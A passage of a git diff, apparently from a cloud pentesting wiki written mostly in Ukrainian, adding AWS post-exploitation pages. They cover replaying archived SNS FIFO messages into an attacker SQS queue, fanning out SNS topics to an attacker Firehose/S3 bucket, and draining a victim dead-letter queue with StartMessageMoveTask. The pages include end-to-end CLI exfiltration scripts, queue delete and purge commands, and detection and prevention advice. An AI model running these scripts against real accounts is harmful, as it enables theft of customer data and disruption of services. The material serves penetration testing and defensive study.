шляхом встановлення ReplayPolicy підписки. + +- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues) +- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages. +- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope. + +## Preconditions +- SNS FIFO topic with archiving enabled: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days). +- Атакуючий має дозволи на: +- `sns:Subscribe` on the target topic. +- `sns:SetSubscriptionAttributes` on the created subscription. +- Атакуючий має SQS FIFO чергу і може додати queue policy, що дозволяє `sns:SendMessage` з topic ARN. + +## Minimum IAM permissions +- On topic: `sns:Subscribe`. +- On subscription: `sns:SetSubscriptionAttributes`. +- On queue: `sqs:SetQueueAttributes` for policy, and queue policy permitting `sns:SendMessage` from the topic ARN. + +## Attack: Replay archived messages to attacker SQS FIFO +Атакуючий підписує свою SQS FIFO чергу на цільовий SNS FIFO topic, а потім встановлює `ReplayPolicy` на timestamp у минулому (в межах вікна збереження архіву). SNS негайно відтворює відповідні заархівовані повідомлення для нової підписки і позначає їх як `Replayed=true`. + +Notes: +- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. If it's earlier, the API returns `Invalid StartingPoint value`. +- For SNS FIFO `Publish`, you must specify a `MessageGroupId` (and either dedup ID or enable `ContentBasedDeduplication`). + +
+End-to-end CLI POC (us-east-1) +```bash +REGION=us-east-1 +# Compute a starting point; adjust later to >= BeginningArchiveTime if needed +TS_START=$(python3 - << 'PY' +from datetime import datetime, timezone, timedelta +print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) +PY +) + +# 1) Create SNS FIFO topic with archiving (2-day retention) +TOPIC_NAME=htreplay$(date +%s).fifo +TOPIC_ARN=$(aws sns create-topic --region "$REGION" \ +--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \ +--query TopicArn --output text) + +echo "Topic: $TOPIC_ARN" + +# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId) +for i in $(seq 1 3); do +aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \ +--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \ +--message-group-id g1 >/dev/null +done + +# 3) Create attacker SQS FIFO queue and allow only this topic to send +Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \ +--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \ +--attribute-names QueueArn --query Attributes.QueueArn --output text) + +cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime +BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text) +START=${TS_START} +if [ -n "$BEGIN" ]; then START="$BEGIN"; fi + +aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \ +--attribute-name ReplayPolicy \ +--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}" + +# 6) Receive replayed messages (note Replayed=true in the SNS envelope) +aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \ +--max-number-of-messages 10 --wait-time-seconds 10 \ +--message-attribute-names All --attribute-names All +``` +
+ +## Вплив +**Можливий вплив**: Атакуючий, який може підписатися на SNS FIFO topic з увімкненим архівуванням і встановити `ReplayPolicy` для своєї підписки, може негайно відтворити та ексфільтрувати історичні повідомлення, опубліковані в цьому topic, а не лише повідомлення, надіслані після створення підписки. Доставлені повідомлення містять прапорець `Replayed=true` в SNS envelope. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md new file mode 100644 index 000000000..8405785b4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -0,0 +1,76 @@ +# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3) + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживати протоколом підписки Firehose, щоб зареєструвати керований зловмисником Kinesis Data Firehose delivery stream на стандартній темі SNS жертви. Як тільки підписка налаштована і необхідна роль IAM довіряє `sns.amazonaws.com`, кожне наступне повідомлення надійно записується в S3 bucket зловмисника з мінімальним шумом. + +## Вимоги +- Права в обліковому записі зловмисника на створення S3 bucket, Firehose delivery stream та IAM role, яку використовує Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, тощо). +- Можливість виконати `sns:Subscribe` на тему жертви (та опціонально `sns:SetSubscriptionAttributes`, якщо ARN ролі підписки надається після створення). +- Політика теми, яка дозволяє принципалу зловмисника підписатися (або зловмисник уже працює в межах того самого облікового запису). + +## Кроки атаки (приклад у межах того самого облікового запису) +```bash +REGION=us-east-1 +ACC_ID=$(aws sts get-caller-identity --query Account --output text) +SUFFIX=$(date +%s) + +# 1) Create attacker S3 bucket and Firehose delivery stream +ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX +aws s3 mb s3://$ATTACKER_BUCKET --region $REGION + +STREAM_NAME=ht-firehose-stream-$SUFFIX +FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX + +# Role Firehose assumes to write into the bucket +aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/firehose-s3-policy.json </dev/null + +# 2) IAM role SNS assumes when delivering into Firehose +SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX +aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/allow-firehose.json < +aws sns subscribe \ +--topic-arn "$TOPIC_ARN" \ +--protocol firehose \ +--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \ +--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \ +--region $REGION + +# 4) Publish test message and confirm arrival in S3 +aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION +sleep 90 +aws s3 ls s3://$ATTACKER_BUCKET/ --recursive +``` +## Прибирання +- Видаліть підписку SNS, Firehose delivery stream, тимчасові IAM ролі/політики та S3 bucket зловмисника. + +## Вплив +**Можливий вплив**: Безперервна, довготривала ексфільтрація кожного повідомлення, опублікованого в цільовій темі SNS, у сховище під контролем зловмисника з мінімальним операційним слідом. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..379782692 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,150 @@ +# AWS – SQS DLQ Redrive Екфільтрація через StartMessageMoveTask + +## Опис + +Зловживання тасками переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви, перенаправляючи їх у чергу, контрольовану атакуючим, за допомогою `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для екфільтрації конфіденційних даних, що накопичувалися в DLQ з часом. + +## Що таке Dead-Letter Queue (DLQ)? + +Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично надсилаються, коли основний додаток не може їх успішно обробити. Ці невдалі повідомлення часто містять: +- Чутливі дані додатку, які не вдалося обробити +- Інформацію про помилки та відладкові дані +- Personal Identifiable Information (PII) +- API токени, облікові дані або інші секрети +- Критично важливі бізнес-транзакційні дані + +DLQ виступають як "кладовище" для невдалих повідомлень, тому вони є цінною ціллю, оскільки з часом накопичують чутливі дані, з якими додатки не впоралися. + +## Сценарій атаки + +**Реальний приклад:** +1. **E-commerce application** обробляє замовлення клієнтів через SQS +2. **Деякі замовлення не проходять** (проблеми з оплатою, інвентарем тощо) і переміщуються в DLQ +3. **DLQ накопичує** тижні/місяці невдалих замовлень з даними клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Атакуючий отримує доступ** до AWS облікових даних з дозволами на SQS +5. **Атакуючий виявляє**, що в DLQ тисячі невдалих замовлень з конфіденційними даними +6. **Замість спроб доступитися до окремих повідомлень** (повільно й помітно), атакуючий використовує `StartMessageMoveTask` для масового перенесення ВСІХ повідомлень у свою чергу +7. **Атакуючий витягує** всю історичну конфіденційну інформацію за одну операцію + +## Вимоги +- Джерельна черга має бути налаштована як DLQ (посилання хоча б однією чергою в RedrivePolicy). +- IAM дозволи (як скомпрометований обліковий принципал жертви): +- На DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- На черзі призначення: дозвіл доставляти повідомлення (наприклад, політика черги, що дозволяє `sqs:SendMessage` від облікового принципала жертви). Для черг в тій же акаунті це зазвичай дозволено за замовчуванням. +- Якщо увімкнено SSE-KMS: на source CMK `kms:Decrypt`, і на destination CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Вплив +Екфільтрація чутливих payload'ів, що накопичилися в DLQ (невдалі події, PII, токени, payload'и додатку) з високою швидкістю, використовуючи нативні SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє `SendMessage` від облікового принципала жертви. + +## Як зловживати + +- Ідентифікуйте ARN жертви DLQ і переконайтеся, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підійде). +- Створіть або оберіть чергу, контрольовану атакуючим, і отримайте її ARN. +- Запустіть таск переміщення повідомлень з DLQ жертви у вашу чергу призначення. +- Моніторьте прогрес або скасуйте за потреби. + +### CLI Example: Екфільтрація даних клієнтів з e-commerce DLQ + +**Сценарій**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, яка містить невдалі спроби обробки замовлень клієнтів. + +1) **Discover and examine the victim DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Створити attacker-controlled destination queue** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Виконати bulk message theft** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Збирайте викрадені чутливі дані** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Примітки щодо міжакаунтного доступу +- Черга призначення повинна мати політику ресурсу, що дозволяє принципалу жертви виконувати `sqs:SendMessage` (і, якщо використовується, KMS grants/permissions). + +## Чому ця атака ефективна + +1. **Легітимна функція AWS**: Використовує вбудовану функціональність AWS, через що її важко виявити як зловмисну +2. **Пакетна операція**: Швидко переносить тисячі повідомлень замість повільного індивідуального доступу +3. **Історичні дані**: DLQs накопичують чутливі дані протягом тижнів/місяців +4. **Поза увагою**: Багато організацій не відстежують доступ до DLQ уважно +5. **Міжакаунтний доступ**: Може exfiltrate в акаунт AWS зловмисника, якщо дозволи це дозволяють + +## Виявлення та запобігання + +### Виявлення +Моніторте CloudTrail на наявність підозрілих викликів API `StartMessageMoveTask`: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Запобігання +1. **Принцип найменших привілеїв**: Обмежте дозволи `sqs:StartMessageMoveTask` лише для необхідних ролей +2. **Моніторинг DLQs**: Налаштуйте CloudWatch сповіщення для виявлення аномальної активності в DLQ +3. **Політики між акаунтами**: Ретельно перевіряйте політики черги SQS, що дозволяють доступ між акаунтами +4. **Шифрування DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів +5. **Регулярне очищення**: Не дозволяйте чутливим даним накопичуватись у DLQs безстроково diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md deleted file mode 100644 index 7ef90dbdb..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ /dev/null @@ -1,73 +0,0 @@ -# AWS - SQS Постексплуатація - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Потенційний вплив**: Експлуатація вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що може призвести до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Потенційний вплив**: Викрадення чутливої інформації, втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень. - -### `sqs:DeleteQueue` - -Зловмисник може видалити цілу чергу SQS, що призведе до втрати повідомлень і вплине на додатки, які залежать від черги. -```arduino -Copy codeaws sqs delete-queue --queue-url -``` -**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що використовують видалену чергу. - -### `sqs:PurgeQueue` - -Зловмисник може очистити всі повідомлення з черги SQS, що призведе до втрати повідомлень та потенційного порушення роботи додатків, які покладаються на ці повідомлення. -```arduino -Copy codeaws sqs purge-queue --queue-url -``` -**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що покладаються на видалені повідомлення. - -### `sqs:SetQueueAttributes` - -Зловмисник може змінити атрибути черги SQS, що потенційно вплине на її продуктивність, безпеку або доступність. -```arduino -aws sqs set-queue-attributes --queue-url --attributes -``` -**Потенційний вплив**: Неправильні налаштування, що призводять до зниження продуктивності, проблем з безпекою або зменшення доступності. - -### `sqs:TagQueue` , `sqs:UntagQueue` - -Зловмисник може додавати, змінювати або видаляти теги з ресурсів SQS, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів. -```bash -aws sqs tag-queue --queue-url --tags Key=,Value= -aws sqs untag-queue --queue-url --tag-keys -``` -**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. - -### `sqs:RemovePermission` - -Зловмисник може відкликати дозволи для законних користувачів або сервісів, видаливши політики, пов'язані з чергою SQS. Це може призвести до порушень у нормальному функціонуванні додатків, які покладаються на чергу. -```arduino -arduinoCopy codeaws sqs remove-permission --queue-url --label -``` -**Потенційний вплив**: Порушення нормального функціонування додатків, що покладаються на чергу, через несанкціоноване видалення дозволів. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md new file mode 100644 index 000000000..d3a08fc9c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md @@ -0,0 +1,83 @@ +# AWS - SQS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +attacker може надсилати шкідливі або небажані повідомлення до SQS queue, що потенційно може призвести до пошкодження даних, ініціювання непередбачених дій або виснаження ресурсів. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Потенційний вплив**: експлуатація вразливості, пошкодження даних, непередбачені дії або вичерпання ресурсів. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що може призвести до втрати повідомлень, пошкодження даних або порушення роботи додатків, які залежать від цих повідомлень. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Потенційний вплив**: Викрадення конфіденційної інформації, втрата повідомлень, пошкодження даних та порушення роботи сервісів для застосунків, що залежать від уражених повідомлень. + +### `sqs:DeleteQueue` + +Атакуючий може видалити цілу чергу SQS, що призведе до втрати повідомлень і вплине на застосунки, які залежать від цієї черги. +```bash +aws sqs delete-queue --queue-url +``` +**Potential Impact**: Втрата повідомлень та збої в роботі сервісів для додатків, які використовують видалену чергу. + +### `sqs:PurgeQueue` + +Зловмисник може очистити всі повідомлення в SQS черзі, що призведе до втрати повідомлень та можливих збоїв у роботі додатків, які на них покладаються. +```bash +aws sqs purge-queue --queue-url +``` +**Потенційний вплив**: Втрата повідомлень і порушення роботи сервісів для додатків, які покладаються на очищені повідомлення. + +### `sqs:SetQueueAttributes` + +Зловмисник може змінити атрибути черги SQS, що потенційно вплине на її продуктивність, безпеку або доступність. +```bash +aws sqs set-queue-attributes --queue-url --attributes +``` +**Potential Impact**: Неправильні налаштування, які можуть призвести до зниження продуктивності, проблем із безпекою або зменшення доступності. + +### `sqs:TagQueue` , `sqs:UntagQueue` + +Зловмисник може додавати, змінювати або видаляти теги з ресурсів SQS, що порушить розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу, засновані на тегах. +```bash +aws sqs tag-queue --queue-url --tags Key=,Value= +aws sqs untag-queue --queue-url --tag-keys +``` +**Можливий вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. + +### `sqs:RemovePermission` + +Зловмисник може відкликати дозволи для легітимних користувачів або сервісів, видаливши політики, пов'язані з чергою SQS. Це може призвести до збоїв у нормальному функціонуванні додатків, які покладаються на цю чергу. +```bash +aws sqs remove-permission --queue-url --label +``` +**Потенційний вплив**: Порушення нормальної роботи додатків, що покладаються на чергу, через несанкціоноване видалення прав доступу. + +### Додаткові SQS Post-Exploitation Techniques + +{{#ref}} +aws-sqs-dlq-redrive-exfiltration.md +{{#endref}} + +{{#ref}} +aws-sqs-sns-injection.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..5e9192f55 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,154 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +{{#include ../../../../banners/hacktricks-training.md}} + +## Description + +Зловживання задачами переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви, перенаправивши їх у чергу, контрольовану атакуючим, за допомогою `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для ексфільтрації чутливих даних, які накопичилися в DLQ з часом. + +## What is a Dead-Letter Queue (DLQ)? + +Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично відправляються, коли основний додаток не може успішно їх обробити. Ці невдалі повідомлення часто містять: +- Чутливі дані додатку, які не вдалося обробити +- Деталі помилок та інформацію для налагодження +- Personal Identifiable Information (PII) +- API токени, облікові дані або інші секрети +- Критично важливі бізнес-транзакції + +DLQ виступають як «кладовище» для невдалих повідомлень, що робить їх привабливою ціллю, оскільки вони накопичують чутливі дані протягом тривалого часу, які додатки не змогли обробити належним чином. + +## Attack Scenario + +**Real-world example:** +1. **E-commerce application** обробляє замовлення клієнтів через SQS +2. **Деякі замовлення не проходять** (проблеми з оплатою, з інвентарем тощо) і переміщуються до DLQ +3. **DLQ накопичує** тижні/місяці невдалих замовлень з даними клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Атакуючий отримує доступ** до AWS облікових даних з дозволами на SQS +5. **Атакуючий виявляє**, що DLQ містить тисячі невдалих замовлень з чутливими даними +6. **Замість спроб доступу до окремих повідомлень** (повільно і помітно), атакуючий використовує `StartMessageMoveTask` для масового перенесення ВСІХ повідомлень до своєї черги +7. **Атакуючий витягує** всю історичну чутливу інформацію за одну операцію + +## Requirements +- Джерельна черга має бути налаштована як DLQ (посилана принаймні однією чергою через RedrivePolicy). +- IAM дозволи (виконуються від імені скомпрометованого облікового запису жертви): +- На DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- На черзі призначення: дозвіл на доставку повідомлень (наприклад, політика черги, яка дозволяє `sqs:SendMessage` від облікового запису жертви). Для черг в тому ж акаунті це зазвичай дозволено за замовчуванням. +- Якщо ввімкнено SSE-KMS: на source CMK `kms:Decrypt`, і на destination CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impact +**Potential Impact**: Ексфільтрація чутливих payload-ів, накопичених у DLQ (невдалі події, PII, токени, payload-и додатків) з великою швидкістю, використовуючи нативні SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє `SendMessage` від облікового запису жертви. + +## How to Abuse + +- Визначте ARN жертви DLQ і переконайтесь, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підходить). +- Створіть або виберіть чергу, контрольовану атакуючим, і отримайте її ARN. +- Запустіть задачу переміщення повідомлень із DLQ жертви до вашої черги призначення. +- Моніторте прогрес або скасуйте за необхідності. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, який містить невдалі спроби обробки замовлень клієнтів. + +1) **Discover and examine the victim DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Створіть чергу призначення під контролем зловмисника** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Виконайте масове викрадення повідомлень** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Збирати викрадені конфіденційні дані** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Примітки щодо доступу між акаунтами +- Цільова черга повинна мати політику ресурсу, яка дозволяє principal жертви виконувати `sqs:SendMessage` (і, якщо використовується, KMS grants/permissions). + +## Чому ця атака ефективна + +1. **Legitimate AWS Feature**: Використовує вбудований функціонал AWS, що ускладнює виявлення як шкідливого +2. **Bulk Operation**: Переносить тисячі повідомлень швидко, замість повільного індивідуального доступу +3. **Historical Data**: DLQs накопичують чутливі дані протягом тижнів/місяців +4. **Under the Radar**: Багато організацій не відстежують доступ до DLQ ретельно +5. **Cross-Account Capable**: Може exfiltrate до власного AWS акаунту нападника, якщо дозволи це дозволяють + +## Виявлення та запобігання + +### Виявлення +Monitor CloudTrail for suspicious `StartMessageMoveTask` API calls: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Запобігання +1. **Принцип найменших привілеїв**: Обмежте дозволи `sqs:StartMessageMoveTask` лише необхідним ролям +2. **Моніторинг DLQs**: Налаштуйте CloudWatch alarms для аномальної активності DLQs +3. **Політики між акаунтами**: Уважно перевіряйте SQS queue policies, що дозволяють доступ між акаунтами +4. **Шифрування DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів +5. **Регулярне очищення**: Не дозволяйте конфіденційним даним накопичуватися в DLQs безстроково + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md new file mode 100644 index 000000000..11151d47c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md @@ -0,0 +1,54 